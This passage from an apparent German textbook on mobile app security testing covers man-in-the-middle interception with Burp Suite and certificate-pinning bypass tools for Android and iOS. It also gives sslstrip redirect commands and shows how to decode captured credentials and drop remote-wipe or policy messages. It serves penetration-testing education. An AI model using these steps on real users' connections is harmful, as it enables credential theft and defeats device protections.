geprüft wird.<br />
Im Anschluss an eine erfolgreiche Prüfung schickt entweder der Client dem<br />
Server eine mit dem öffentlichen Schlüssel des Servers verschlüsselte geheime<br />
Zufallszahl oder die beiden Parteien berechnen mithilfe des Diffie-Hellman-<br />
Schlüsselaustauschs ein gemeinsames Geheimnis. Aus dem Geheimnis wird dann<br />
ein kryptografischer Schlüssel abgeleitet, der in der Folge genutzt wird, um alle<br />
Nachrichten der Verbindung mit einem symmetrischen Verschlüsselungsverfahren<br />
zu verschlüsseln und somit vor unberechtigten Dritten zu schützen.<br />
9.2 Man-in-the-Middle-Angriffe<br />
Ziel des Man-in-the-Middle-Angriffs (MitM) ist es, sich Schwächen in der Implementierung<br />
einer Applikation zunutze zu machen, um sich in diese Verbindung<br />
einzuklinken und den übermittelten Datenstrom zu entschlüsseln.<br />
Bei Angriffen dieser Art setzt sich der Angreifer, oder in unserem Fall der Sicherheitsanalyst,<br />
zwischen das mobile Endgerät und den Backend-Server. Dies<br />
geschieht entweder dadurch, dass der Rechner des Analysten als Proxy für<br />
HTTP- und HTTPS-Verbindungen konfiguriert wird, oder durch sogenannte<br />
ARP-Spoofing-Angriffe, bei der der Rechner des Analysten vorgibt, der Router<br />
zu sein. In beiden Fällen erhält der Analyst alle Datenpakete und kann selbst<br />
bestimmen, wohin sie weitergeleitet werden.<br />
Der obere Bereich von Abbildung 9–1 zeigt eine schematische Darstellung<br />
einer normalen HTTPS-Verbindung zwischen einer mobilen Applikation und einem<br />
Backend-Server. Der untere Bereich hingegen stellt die Verbindung bei einem<br />
erfolgreich durchgeführten MitM-Angriff dar.<br />
Da für diese Angriffe die Zertifikate ausgetauscht werden, die zur Authentifizierung<br />
des Backend-Servers und zur Verschlüsselung der Verbindung bestimmt<br />
sind, unterscheiden wir zwei Fälle: nicht vertrauenswürdige und vertrauenswürdige<br />
Zertifikate.
9.2 Man-in-the-Middle-Angriffe 201<br />
HTTPS-Anfrage<br />
HTTPS-Antwort<br />
HTTPS-Anfrage<br />
HTTPS-Antwort<br />
HTTPS-Anfrage<br />
HTTPS-Antwort<br />
Aufbrechen der<br />
HTTPS-Verschlüsselung<br />
Abb. 9–1: Schematische Darstellung eines Man-in-the-Middle-Angriffs<br />
9.2.1 Man-in-the-Middle-Angriff mit nicht vertrauenswürdigem<br />
Zertifikat<br />
Um den Netzwerkverkehr einer Applikation zu überwachen, benötigen wir nun<br />
noch einen Proxy, der sich in die Verbindung einklinkt und so alles mitschneiden<br />
kann. Hierfür verwenden wir Burp Suite1 . Tools wie mitmproxy2 oder<br />
Charles Proxy3 können hierfür ebenfalls verwendet werden und sind – im Fall<br />
von mitmproxy – sogar als kostenlose Open-Source-Varianten erhältlich. Die in<br />
den folgenden Abschnitten verwendete Burp Suite ist in Java geschrieben, daher<br />
benötigen wir keine Installation, ein einfacher Download und das nachfolgende<br />
Ausführen der JAR-Datei reicht völlig aus.<br />
Nach dem erfolgreichen Start der Burp Suite müssen wir das Programm nun<br />
so konfigurieren, dass es als Proxy fungiert und für das mobile Endgerät mit<br />
der zu testenden Applikation erreichbar ist. Dies gelingt uns am einfachsten über<br />
Proxy → Options → Proxy Listeners → Edit → Binding. Dort setzen wir den Haken<br />
bei All Interfaces (siehe Abbildung 9–2). Wenn bekannt ist, auf welchem<br />
Interface das Testgerät lauscht, kann hier auch die entsprechende IP-Range eingetragen<br />
werden, um nicht eventuell Datenverkehr von anderen Programmen oder<br />
Geräten mitzuschneiden.<br />
Als nächsten Schritt müssen wir nun das mobile Endgerät dazu bringen, dass<br />
es diesen Proxy auch verwendet. Dies erreichen wir, indem wir die IP und den<br />
Port des Proxy in die Verbindungseinstellungen des Endgerätes eintragen.<br />
■<br />
Android: Einstellungen → WLAN → lange auf das Lab-Wi-Fi klicken, bis ein<br />
Auswahlfenster erscheint → Netzwerk ändern → Haken setzen bei Erweiterte<br />
1 Burp Suite: https://portswigger.net/burp/<br />
2 mitmproxy: https://mitmproxy.org<br />
3 Charles Proxy: http://www.charlesproxy.com/
202 9 Angriffe auf die Datenübertragung<br />
Abb. 9–2: Einrichten des Proxy Listeners in der Burp Suite<br />
■<br />
■<br />
Optionen → den Proxy auf Manuell setzen und Port sowie IP des Analyserechners<br />
eintragen.<br />
iOS: Einstellungen → WLAN → auf das i○ in der Zeile des Lab-Wi-Fi klicken →<br />
den Proxy auf Manuell setzen und Port sowie IP des Analyserechners eintragen.<br />
Windows 10 <strong>Mobile</strong>: Einstellungen → WLAN → Verwalten → Lab-Wi-Fi → den<br />
Schieber bei Proxy auf Ein schalten → Port sowie IP des Analyserechners eintragen.<br />
Um nun zu testen, ob wir alles richtig eingerichtet haben, reicht es, im Browser<br />
des mobilen Endgerätes auf die Google-Startseite zu wechseln. In Abbildung 9–3<br />
ist dies exemplarisch mit einem Android-Emulator dargestellt.<br />
Sollte beim Versuch, die Google-Startseite aufzurufen, eine Warnung eingeblendet<br />
werden, die im Wesentlichen aussagt, dass dem Zertifikat von Google<br />
nicht vertraut wird und die Verbindung eventuell unsicher ist, so liegt das daran,<br />
dass Burp standardmäßig sogenannte Self-signed-Zertifikate verwendet, die keine<br />
Vertrauensbasis zu den auf dem Gerät installierten Root-Zertifikaten besitzt. Diese<br />
Meldung kann oft mit einem einfachen Klick auf Weiter übersprungen werden,<br />
würde bei einem realen Angriff aber vermutlich für erstes Misstrauen sorgen.<br />
Für uns als Sicherheitsanalysten sollte allerdings die Tatsache, dass eine zu<br />
testende Applikation keine Warnmeldung anzeigt, viel mehr Misstrauen hervorrufen,<br />
da dies ein Anzeichen dafür ist, dass die Applikation die Serverzertifikate<br />
nicht korrekt prüft. Dies ist im Bereich der Sicherheitsüberprüfung von mobilen<br />
Applikationen eine der gravierendsten Schwachstellen, da hierüber alle Nutzer
9.2 Man-in-the-Middle-Angriffe 203<br />
Abb. 9–3: Testen der Proxy-Einrichtung am Beispiel der Google-Startseite und eines<br />
Android-Emulators<br />
der Applikation betroffen sind und eine sichere Übertragung der Daten zwischen<br />
mobilem Endgerät und Backend-Server nicht mehr gewährleistet ist. Klassische<br />
Szenarien für solche Angriffe in der freien Wildbahn sind manipulierte WLAN-<br />
Netze, die unter Kontrolle eines Angreifers stehen (meist an öffentlichen Orten<br />
wie Cafés oder Flughäfen).<br />
Hat der Entwickler der Applikation alles richtig gemacht, so verweigert die<br />
Applikation die Kommunikation mit einem nicht vertrauenswürdigen Zertifikat,<br />
und unsere Aufzeichnung in der Burp Suite bleibt ohne sensible Daten aus der<br />
Applikation.<br />
9.2.2 Man-in-the-Middle-Angriff mit vertrauenswürdigem<br />
Zertifikat<br />
Um etwaige Fehlermeldungen bzw. Warnungen oder sogar das Verweigern einer<br />
Verbindung zu umgehen, ist es nötig, dass das Endgerät davon ausgeht, dass<br />
unser Burp-Suite-Zertifikat (das für die Verschlüsselung des Netzwerkverkehrs<br />
zwischen Endgerät und Proxy verwendet wird) ein gültiges und vertrauenswürdiges<br />
Zertifikat ist. Dies erreichen wir, indem wir das Burp-Suite-Root-Zertifikat in<br />
unseren Trusted Certificate Store importieren und so eine gültige Vertrauensbasis<br />
schaffen. Dazu müssen wir wie folgt vorgehen:<br />
1. Extrahieren des Root-Zertifikates aus der Burp Suite (Proxy → Options →<br />
Proxy Listeners → CA Certificate... → Export Certificate in DER format →<br />
Next → burp.cer), wie in Abbildung 9–4 gezeigt.<br />
2. Importieren des Root-Zertifikates in das mobile Endgerät.<br />
■<br />
Android: adb push burp.cer /sdcard/Downloads/ und danach auf dem<br />
Endgerät selbst Einstellungen → Sicherheit → Von Speicher installieren<br />
→ Downloads → burp.cer auswählen und für Wi-Fi importieren.
204 9 Angriffe auf die Datenübertragung<br />
Abb. 9–4: Export des SSL-Root-Zertifikats aus Burp<br />
■<br />
■<br />
iOS: Am einfachsten ist es, wenn wir uns das burp.cer-Zertifikat per<br />
E-Mail an das Testgerät senden. Dort können wir per Klick auf den<br />
E-Mail-Anhang das Zertifikat direkt installieren. Als Alternative können<br />
wir mittels Safari auf die URL http://burp/cert surfen und von dort das<br />
Zertifikat importieren.<br />
Windows 10 <strong>Mobile</strong>: Am einfachsten ist es auch hier, wenn wir wie bei<br />
iOS beschrieben vorgehen.<br />
3. Erneuter Test der Verbindung – diesmal sollten keine Warnungen mehr erscheinen.<br />
Für Entwickler von sensiblen Applikationen gibt es nur eine Möglichkeit, sich gegen<br />
einen solchen Angriff zu schützen: Certificate Pinning. Bei diesem Verfahren<br />
werden bestimmte Punkte in der Vertrauenskette des Zertifikats fest verankert,<br />
sodass selbst bei gültiger Kette zu einem vertrauenswürdigen Root-Zertifikat das<br />
verwendete Zertifikat abgelehnt wird. Wie man diese Schutzmechanismen umgeht,<br />
erfahren Sie im kommenden Abschnitt.<br />
9.2.3 Angriffe bei aktiviertem Certificate Pinning<br />
Die Königsdisziplin ist das Mitschneiden der verschlüsselten Kommunikation bei<br />
aktiviertem Certificate Pinning. Dies ist auf aktuellen Geräten nur möglich, wenn<br />
der Analyst oder Angreifer Root-Zugriff auf das mobile Endgerät erhält und in<br />
der Lage ist, weitere Werkzeuge zu installieren oder die Applikation zur Laufzeit<br />
zu manipulieren. Prinzipiell gibt es zwei Arten des Vorgehens, um das Certificate<br />
Pinning zu umgehen:
9.2 Man-in-the-Middle-Angriffe 205<br />
■<br />
■<br />
Die erste Variante ist sehr aufwendig und erfordert tiefes Verständnis des<br />
Betriebssystems sowie der verwendeten Programmiersprache bzw. eingebetteten<br />
Bibliotheken. Hier versucht der Analyst, sämtliche Stellen im Code der<br />
Applikation zu finden, in denen die SSL-Zertifikate geprüft werden. An diesen<br />
Stellen ändert er die Prüfung nun so ab, dass das manipulierte Zertifikat<br />
akzeptiert wird. Je nach Grad der Obfuskierung einer Applikation ist dies<br />
enorm zeitaufwendig.<br />
Der zweite Ansatz ist toolgestützt und wird im weiteren Verlauf des Abschnitts<br />
dargestellt. Hier übernimmt ein Tool die zuvor beschriebenen Aufgaben<br />
automatisiert durch sogenanntes API-Hooking. Problematisch ist hierbei<br />
jedoch, dass die Tools nur die API-Zugriffe überwachen und manipulieren<br />
können, die sie auch kennen. Verwendet eine Applikation also eigene Bibliotheken<br />
oder ändert sich etwas an den Systemschnittstellen, so kann es sein,<br />
dass diese Tools nicht mehr ordnungsgemäß funktionieren.<br />
Da dieses Vorgehen auf den verschiedenen mobilen Plattformen deutliche Unterschiede<br />
besitzt, werden wir die einzelnen Plattformen nachfolgend separat betrachten.<br />
Android<br />
Für unser Vorgehen benötigen wir hier erneut unser bereits in den vorherigen<br />
Kapiteln beschriebenes Werkzeug zur Laufzeitmanipulation von Applikationen:<br />
Cydia Substrate. In diesem Fall brauchen wir die Erweiterung Android-SSL-<br />
TrustKiller4 von iSEC Partners.<br />
Diese Erweiterung sorgt dafür, dass alle Methodenaufrufe einer Applikation,<br />
die für die Verifikation eines SSL-Zertifikates verantwortlich sind, den Wert TRUE<br />
zurückliefern, egal ob die Prüfung erfolgreich war oder nicht. Hierdurch ist es nun<br />
möglich, das Certificate Pinning zu umgehen und wieder, wie in Abschnitt 9.2.2<br />
gezeigt, die Verschlüsselung der Verbindung aufzubrechen. Auf unserem Testgerät<br />
gehen wir dazu wie folgt vor:<br />
1. Installation der Android-SSL-TrustKiller-Applikation per<br />
adb install Android-SSL-TrustKiller.apk<br />
2. Öffnen der Substrate-Applikation<br />
a. Link Substrate Files<br />
b. Restart System (Soft)<br />
3. Starten der Applikation, die wir analysieren möchten<br />
Nun sollten alle SSL-Verbindungen in der Burp Suite auftauchen und die Applikation<br />
ohne Fehlermeldungen oder Warnhinweise funktionieren. Wenn wir uns<br />
zeitgleich die Ausgaben von logcat anschauen, so sollten wir Hinweise wie die<br />
4 Android-SSL-TrustKiller: https://github.com/iSECPartners/Android-SSL-TrustKiller
206 9 Angriffe auf die Datenübertragung<br />
nachfolgend dargestellten sehen. Diese deuten auf ein erfolgreiches Hooking des<br />
SSL TrustKiller hin:<br />
I/CydiaSubstrate( 9999): MS:Notice: Loading:<br />
/data/app/com.android.SSLTrustKiller.apk<br />
I/SSLTrustKiller(11594): getTrustManagers() override<br />
I/SSLTrustKiller(11594): Hooking init in javax.net.ssl.SSLContext<br />
I/SSLTrustKiller(11594): init() override in javax.net.ssl.SSLContext<br />
I/SSLTrustKiller(11594): isSecure()<br />
called(org.apache.http.conn.ssl.SSLSocketFactory)<br />
I/SSLTrustKiller(11594): getTrustManagers() override<br />
Codebeispiel 9–1: Ausgabe von logcat mit Hinweisen auf aktive Android-SSL-TrustKiller-<br />
Erweiterung für Cydia Substrate<br />
Sollte der zuvor erwähnte Android-SSL-TrustKiller nicht zum erhofften Erfolg<br />
führen, so kann ein weiteres Werkzeug vom Team der iSEC Partners verwendet<br />
werden: Android-SSL-Bypass5 .<br />
iOS<br />
Für Apples iOS haben wir mehrere Tools zur Auswahl, die uns bei dieser Aufgabe<br />
unterstützen können. Beginnen wollen wir mit Snoop-it, das bereits in Abschnitt<br />
6.1.2 ausführlich beschrieben wurde.<br />
Snoop-it funktioniert im Wesentlichen identisch zu dem unter Android beschriebenen<br />
Modul SSL-TrustKiller. Es sucht nach API-Aufrufen, deren Zweck<br />
das Überprüfen von SSL-Zertifikaten ist. Findet es zur Laufzeit einen solchen Aufruf,<br />
modifiziert es die Ergebnisse des Aufrufs so, dass jedes Zertifikat als gültig<br />
anerkannt wird und die Applikation die Kommunikation fortsetzt.<br />
Das Vorgehen für den Analysten ist hierbei sehr einfach gehalten: Er muss lediglich<br />
den entsprechenden Schieber in den Einstellungen von Snoop-it aktivieren<br />
(siehe Abbildung 9–5).<br />
Eine weitere Möglichkeit, das Certificate Pinning zu unterbinden, bietet die<br />
Lösung iOS-SSL-Kill-Switch6 von iSEC Partners. SSL-Kill-Switch modifiziert die<br />
Low-Level-SSL-Funktionen innerhalb der Secure Transport API. Darunter befinden<br />
sich z. B. die Aufrufe von SSLSetSessionOption() und SSLHandshake(). Wie<br />
auch bei Snoop-it schafft es die Lösung, die Prüfung der SSL-Zertifikate so zu<br />
verändern, dass alle Zertifikate als gültig zurückgegeben werden. Um dieses Tool<br />
auf unserem Testgerät zu installieren, gehen wir wie folgt vor:<br />
5 Android-SSL-Bypass: https://github.com/iSECPartners/android-ssl-bypass<br />
6 iOS-SSL-Kill-Switch: https://github.com/iSECPartners/ios-ssl-kill-switch
9.2 Man-in-the-Middle-Angriffe 207<br />
Abb. 9–5: Deaktivieren von SSL Certificate Pinning via Snoop-it<br />
1. Übertragen der iOS-SSL-Kill-Switch-Applikation per<br />
scp com.isecpartners.nabla.sslkillswitch.deb root@:/<br />
2. Nun verbinden wir uns per SSH auf das Testgerät.<br />
3. Dort installieren wir die iOS-SSL-Kill-Switch-Applikation per<br />
dpkg -i com.isecpartners.nabla.sslkillswitch.deb<br />
4. Nun müssen wir noch das SpringBoard neu starten, damit die Änderungen<br />
auch sichtbar werden:<br />
killall -HUP SpringBoard<br />
5. Im Anschluss deaktivieren wir das SSL Certificate Pinning, wie in Abbildung<br />
9–6 gezeigt.<br />
Seit einiger Zeit gibt es auch eine Version 27 des hier gezeigten iOS-SSL-Kill-<br />
Switch, die in manchen Fällen bessere Ergebnisse liefert.<br />
Die dritte Möglichkeit, das Certificate Pinning zu unterbinden, bietet die Lösung<br />
TrustMe8 von der Intrepidus Group. Diese Lösung deaktiviert die SecTrust-<br />
Evaluate-Methode, wodurch alle Zertifikate als gültig anerkannt werden.<br />
7 SSL-Kill-Switch 2: https://github.com/nabla-c0d3/ssl-kill-switch2<br />
8 TrustMe: https://github.com/intrepidusgroup/trustme
208 9 Angriffe auf die Datenübertragung<br />
Abb. 9–6: Deaktivieren von SSL Certificate Pinning via iOS-SSL-Kill-Switch<br />
Problematik: 64-Bit-Systeme<br />
Zum aktuellen Zeitpunkt haben beide der vorgestellten Lösungen ein Problem mit<br />
Betriebssystemen, die auf 64 Bit beruhen (z. B. iOS 8.x und 9.x). Daher bleibt bei<br />
neueren iOS-Versionen oft nur das manuelle Suchen und Manipulieren der API-<br />
Aufrufe übrig – zumindest so lange, bis Updates der Tools bereitgestellt werden. Ein<br />
Versuch ist es meist aber trotzdem wert.<br />
Windows 10 <strong>Mobile</strong><br />
Für Windows 10 <strong>Mobile</strong> sind zum aktuellen Zeitpunkt leider keine Tools und<br />
Wege bekannt, das Certificate Pinning einer Applikation zu umgehen, außer der<br />
Verwendung eines Debuggers und dem manuellen Anpassen der entsprechenden<br />
Abfragen zur Laufzeit der Applikation.
9.3 SSL-Strip-Angriffe 209<br />
9.3 SSL-Strip-Angriffe<br />
Der SSL-Strip-Angriff – oder auch SSL-Downgrade-Angriff genannt – ist im Wesentlichen<br />
auch ein klassischer Man-in-the-Middle-Angriff. Das Spezielle an dem<br />
SSL-Strip-Angriff ist, dass der Analyst mithilfe von speziellen Tools die mobile<br />
Applikation dazu bringt, nicht die gewünschte verschlüsselte Verbindung aufzubauen,<br />
sondern auf eine unverschlüsselte Verbindung zurückzugreifen.<br />
Dazu entwickelte der Softwareexperte Moxie Marlinspike einen Proxy namens<br />
sslstrip9 . Dieser Proxy durchsucht automatisiert die angefragten Webseiten<br />
nach eingebetteten https://-Links und ersetzt diese durch gleichlautende http://-<br />
Links. Sollte die Applikation direkt versuchen, eine HTTPS-Webseite aufzurufen,<br />
so biegt auch hier das Tool die Anfrage zu einer unverschlüsselten HTTP-<br />
Webseite um (siehe Abbildung 9–7).<br />
HTTPS-Anfrage<br />
HTTP-Anfrage<br />
HTTP-Antwort<br />
HTTP-Anfrage<br />
HTTP-Antwort<br />
Umbiegen der<br />
HTTPS-Verbindung<br />
Abb. 9–7: Schematische Darstellung eines SSL-Strip-Angriffs<br />
Gelingt dieser Angriff, so erhält der Analyst Zugriff auf alle Informationen<br />
aus der eigentlich verschlüsselten Verbindung. Darunter befinden sich sehr häufig<br />
Passwörter oder andere sensible Nutzer- bzw. Applikationsdaten. Im Unterschied<br />
zu den in den vorherigen Abschnitten dieses Kapitels beschriebenen Angriffen<br />
tauchen hier beim Benutzer meist keine Warnhinweise auf.<br />
Diese Art des Angriffs war in den Jahren 2012 bis 2014 sehr verbreitet und<br />
gerade auch bei mobilen Applikationen sehr oft erfolgreich. In den vergangenen<br />
Jahren hat man jedoch eine Veränderung des Bewusstseins der Entwickler festgestellt<br />
und so sind heutzutage nur noch sehr wenige Applikationen für diesen<br />
Angriff anfällig. Trotz dieser Tatsache sollte der SSL-Strip-Angriff bei jedem Assessment<br />
einer mobilen Lösung berücksichtigt und getestet werden. Um diesen<br />
Angriff durchzuführen, gehen wir wie folgt vor:<br />
1. Als ersten Schritt müssen wir die IP-Weiterleitung aktivieren:<br />
■<br />
■<br />
■<br />
sudo sysctl -w net.inet.ip.forwarding=1<br />
sudo sysctl -w net.inet.ip.fw.enable=1<br />
sudo sysctl -w net.inet.ip.fw.verbose=1<br />
9 sslstrip: https://github.com/moxie0/sslstrip
210 9 Angriffe auf die Datenübertragung<br />
2. Im nächsten Schritt konfigurieren und aktivieren wir den Paketfilter wie folgt:<br />
■<br />
■<br />
■<br />
Wir erstellen eine Datei namens /etc/pfsslstrip.conf.<br />
In diese Datei fügen wir folgenden Inhalt ein:<br />
rdr pass on en1 proto tcp from any to any port 80<br />
-> 127.0.0.1 port 8080.<br />
Nun aktivieren wir den Filter mithilfe des Befehls:<br />
sudo pfctl -e -f pfsslstrip.conf.<br />
3. Im Anschluss daran starten wir sslstrip per Eingabe von:<br />
python sslstrip.py -l 8080 -w ./sslstrip.log.<br />
4. Als weiteren Schritt müssen wir nun noch den Proxy auf dem mobilen Endgerät<br />
auf die IP-Adresse des Analyserechners und Port 8080 setzen.<br />
5. Zu guter Letzt starten wir die Applikation, die wir untersuchen wollen, und<br />
füttern sie mit Daten bzw. interagieren wie gewohnt mit ihr.<br />
Die Datei sslstrip.log enthält nun alle aufgezeichneten Pakete und somit auch<br />
sämtliche sensible Nutzerdaten aus der mobilen Applikation.<br />
Nachdem wir nun wissen, wie man die Verschlüsselung der Datenübertragung<br />
aufbrechen kann, werden wir in Abschnitt 9.4 uns anschauen, wie man die<br />
so mitgeschnittenen Daten auswertet und welche Informationen man darin finden<br />
kann.<br />
9.4 Anwendungsbeispiele und Auswertung<br />
Nachdem wir in den ersten Abschnitten gesehen haben, wie man sich in die verschlüsselte<br />
Verbindung von mobilen Applikationen einklinken kann, werden wir<br />
uns nun an ein paar Beispielen anschauen, wie man die aufgezeichneten Daten<br />
analysieren kann. In Abschnitt 9.4.2 lernen wir noch eine sehr nützliche Funktion<br />
von vielen MitM-Proxies kennen – die Möglichkeit, Daten zu manipulieren,<br />
bevor sie an das Backend bzw. das mobile Endgerät gesendet werden. In diesem<br />
Schritt lassen sich oft schon wichtige Änderungen vornehmen, die das weitere<br />
Analysieren der Applikation deutlich erleichtern.<br />
9.4.1 Parameter in Paketen decodieren<br />
Bei fast allen gängigen Applikationen ist es so, dass die Daten nicht im Klartext<br />
an den Backend-Server gesendet werden, sondern in einer codierten Form.<br />
Dies liegt meist daran, dass die APIs im Hintergrund sensibel auf Änderungen in<br />
dem empfangenen Zeichensatz oder auf bestimmte Zeichen reagieren. In vielen<br />
Fällen werden die Nutzerdaten in Base64 umgewandelt oder URL-codiert. Ein<br />
klassisches Beispiel hierfür sind E-Mail-Applikationen, wie wir sie im Folgenden<br />
ebenfalls betrachten werden.
9.4 Anwendungsbeispiele und Auswertung 211<br />
In Abbildung 9–8 sehen wir den Verlauf unserer Proxy-Aufzeichnung. Speziell<br />
von Interesse sind für uns hier Aufrufe vom Typ POST und die URL Microsoft-<br />
Server-ActiveSync. POST ist immer ein guter Hinweis auf Daten, die das Mobiltelefon<br />
verlassen, und somit natürlich von hohem Interesse, da sich hierunter<br />
sehr häufig Nutzernamen und Passwörter befinden, aber auch andere persönliche<br />
Nutzerdaten. In diesem Beispiel macht es uns die URL sehr leicht, da wir an ihr<br />
schon erkennen, dass es sich um eine Kommunikation mit einem vermeintlichen<br />
ActiveSync-Gateway handelt.<br />
Abb. 9–8: Proxy-Aufzeichnung der Burp Suite<br />
Betrachten wir den unteren Teil der Ausgabe, so sehen wir in der ersten Zeile die<br />
URL, die von der Applikation kontaktiert wird, zusammen mit einem codierten<br />
POST-Parameter. Dies könnte bereits der erste interessante Wert sein, der uns im<br />
Laufe späterer Analysen weiterhelfen kann. Hierzu verwenden wir die Funktion<br />
von Burp Suite, diesen Parameter an den Decoder zu senden und dort auszuwerten<br />
(wie in Abbildung 9–9 gezeigt).<br />
Wie wir an diesem Ergebnis erkennen, war der codierte Parameter nur wenig<br />
hilfreich. Wir haben aber noch eine weitere Chance: Authorization. Dieser Wert<br />
verspricht schon dem Namen nach interessante Inhalte. Auch hier senden wir<br />
den codierten Parameter an den Decoder. Das Ergebnis zeigt die Nutzerdaten<br />
zum Abrufen der E-Mails: Domäne, Nutzername und Passwort. In unserem Fall:<br />
ww047\user01:passw0rd!
212 9 Angriffe auf die Datenübertragung<br />
Abb. 9–9: Burp-Suite-Decoder-Funktionalität<br />
9.4.2 Pakete abfangen und manipulieren<br />
Nachdem wir nun an einem einfachen Beispiel gesehen haben, wie hilfreich das<br />
Decodieren von einzelnen Parametern aus dem Netzwerkverkehr sein kann, wird<br />
in diesem Abschnitt gezeigt, dass es sehr oft auch von Vorteil für unser Assessment<br />
sein kann, wenn wir bestimmte Pakete blockieren oder manipulieren, bevor<br />
sie weiterverarbeitet werden.<br />
Das erste Beispiel zeigt, wieso es hilfreich sein kann, Daten zu manipulieren.<br />
In diesem Fall verwenden wir eine Android-Applikation, die zur PIM-<br />
Synchronisation im Unternehmen eingesetzt werden kann. Beim Einrichten der<br />
Applikation, aber auch nach gewissen Zeitabständen, versucht die Applikation,<br />
die Sicherheitsrichtlinien vom Exchange-Server der Firma zu aktualisieren.<br />
Je nach gesetzten Einstellungen können diese ein Assessment erschweren. Daher<br />
ist es praktisch, wenn wir ein solches Paket abfangen und manipulieren können.<br />
Abbildung 9–10 zeigt einen Ausschnitt eines solchen Paketes.<br />
Abb. 9–10: Burp-Suite-Interception-Funktionalität
9.5 Zusammenfassung 213<br />
Hier können wir z. B. den Timeout der S/MIME-PIN verändern, sodass es<br />
diesen Timeout nicht mehr gibt und somit die PIN-Abfrage für das eingefügte<br />
S/MIME-Zertifikat hinfällig wird und wir an alle verschlüsselten E-Mails kommen,<br />
ohne die PIN des Nutzers zu kennen. Des Weiteren können wir in diesen<br />
Richtlinien auch noch die Möglichkeit einer Fernlöschung deaktivieren, was einem<br />
Angreifer deutlich mehr Zeit verschaffen würde. Was man bei solchen Richtlinien<br />
ebenfalls sehr häufig findet, sind Einstellungen bezüglich einer Jailbreak-<br />
Erkennung, also ob die Applikation auf potenziell gerootete Geräte reagiert oder<br />
nicht. Gerade solche Einstellungen können bei einem Assessment oder einem Angriff<br />
enorm hilfreich sein, da man sich als Analyst die Arbeit spart, diese Detektionstechniken<br />
manuell zu finden und zu umgehen.<br />
Genauso wichtig wie das Verändern von Anfragen kann aber auch das Abfangen<br />
und Blockieren von solchen Nachrichten sein. Gerade Applikationen, die sich<br />
mit ActiveSync-Servern verbinden – aber auch z. B. <strong>Mobile</strong> Device Management<br />
(MDM)-Applikationen –, empfangen häufig per HTTPS die Aufforderung, den<br />
Container oder das ganze Endgerät zu löschen. Können wir eine solche Nachricht<br />
in unserem Proxy im Intercept-Modus abfangen, so haben wir auch die<br />
Möglichkeit, dieses Paket per Drop einfach wegzuwerfen, sodass das Endgerät<br />
die Nachricht nie erhält und somit auch keine Daten löschen kann. Aus diesem<br />
Grund ist es sehr wichtig, dass man während einer Analyse einer Applikation das<br />
Endgerät konstant an den Proxy angeschlossen hat und die Pakete überwacht.<br />
9.5 Zusammenfassung<br />
In diesem Kapitel haben wir gesehen, warum es hilfreich sein kann, die Verbindung<br />
zwischen einem mobilen Endgerät bzw. der Applikation und den Backend-<br />
Servern zu überwachen. Dies haben wir durch Man-in-the-Middle-Angriffe auf<br />
die verschlüsselte Verbindung realisiert. Dazu haben wir das Gerät an einen Proxy<br />
angeschlossen und gezeigt, wie man Zertifikatsbeschränkungen umgehen und sogar<br />
Certificate Pinning auf den einzelnen Plattformen deaktivieren kann.<br />
Im letzten Abschnitt sind wir noch auf hilfreiche Erweiterungen der Burp<br />
Suite eingegangen – Decoder und Intercept – und haben sie uns anhand realer<br />
Applikationen angeschaut.<br />
So konnten wir mithilfe der im Rahmen dieses Kapitels gezeigten Techniken<br />
Sicherheitsrichtlinien für Applikationen ändern oder wichtige Befehle des<br />
Backend-Servers abfangen und eine Ausführung verhindern.
215<br />
10 Wie geht die Reise weiter?<br />
Dieses Buch sollte Ihnen dabei helfen, eine erste Einführung in des Testen und<br />
Analysieren von mobilen Applikationen zu bekommen und auf kritische Funktionen<br />
der einzelnen Betriebssysteme aufmerksam zu werden. Dabei haben wir uns<br />
eine ganze Reihe an Tools und Techniken angesehen, deren Aufzählung jedoch<br />
keinesfalls vollständig ist. Die Welt der mobilen Applikationen ändert sich ständig<br />
und damit auch die Techniken, um diese Apps zu untersuchen. Aus diesem<br />
Grund soll das letzte Kapitel dazu genutzt werden, Ihnen noch ein paar hilfreiche<br />
weitere Tools und Quellen für Informationen zu zeigen und natürlich auch etwas<br />
Übungsmaterial zur Verfügung zu stellen, um das gezeigte Wissen aus diesem<br />
Buch praktisch anwenden zu können.<br />
10.1 Weitere Tools<br />
Im Verlauf dieses Buches haben wir gemeinsam eine ganze Reihe an Werkzeugen<br />
kennengelernt, die das Analysieren oder Reversing der einzelnen Applikationen<br />
– teilweise oder auch komplett – übernommen haben. Diese Werkzeuge sind<br />
aber nicht die einzigen Möglichkeiten, wie man die gezeigten Schritte durchführen<br />
kann. Darum sind im Folgenden noch weitere interessante und hilfreiche Tools<br />
aufgelistet, die einen Blick wert sind und an vielen Stellen weiterhelfen können.<br />
10.1.1 Android<br />
Zu den bereits in den entsprechenden Kapiteln vorgestellten Tools gibt es für<br />
Android noch eine Menge weiterer interessanter Werkzeuge, die für die Analyse<br />
von Applikationen verwendet werden können. Eine Auswahl an hilfreichen<br />
Werkzeugen, die man sich als Analyst anschauen sollte, sobald man mit den hier<br />
erwähnten Tools nicht mehr weiterkommt, zeigt Tabelle 10–1.<br />
Weitere Tools und Werkzeuge sind auf der folgenden Webseite aufgelistet<br />
und werden dort auch regelmäßig ergänzt: https://github.com/ashishb/<br />
android-security-awesome.
216 10 Wie geht die Reise weiter?<br />
Name<br />
Andriller<br />
apk-tool<br />
APKinspector<br />
frida<br />
Fridump<br />
NowSecure Lab<br />
Quick Android<br />
Review Kit<br />
(QARK)<br />
Simplify<br />
Sublime Text<br />
Beschreibung<br />
Ein gutes Forensik-Werkzeug im Bereich Android, das viele der hier im<br />
Buch gezeigten Schritte automatisiert.<br />
Gutes Werkzeug, wenn man die APK-Dateien manipulieren möchte,<br />
bevor man sie auf einem Testgerät ausführt. Ähnlich wie baksmali<br />
bzw. smali ist es in der Lage, wieder eine lauffähige Applikation zu<br />
erzeugen, nachdem der Analyst den Code verändert hat.<br />
Ein Werkzeug, das sehr ähnlich zu Codeinspect ist, jedoch nicht die<br />
Fähigkeit der Laufzeitmanipulation bietet.<br />
Ein sehr mächtiges Tool zur Laufzeitmanipulation von iOS- und<br />
Android-Applikationen (für iOS-Applikationen siehe Abschnitt 6.1.4).<br />
Ein neues Tool zum Auslesen des RAM von Android- und iOS-Endgeräten,<br />
das einen sehr guten ersten Eindruck hinterlassen hat. Zu finden<br />
ist es unter: http://pentestcorner.com/introduction-to-fridump/.<br />
Ein kommerzielles Werkzeug, das iOS- und Android-Applikationen<br />
automatisiert analysiert, aber auch das manuelle Reversing<br />
unterstützt.<br />
Ein Toolkit, das in der Lage ist, sehr viele Schwachstellen in<br />
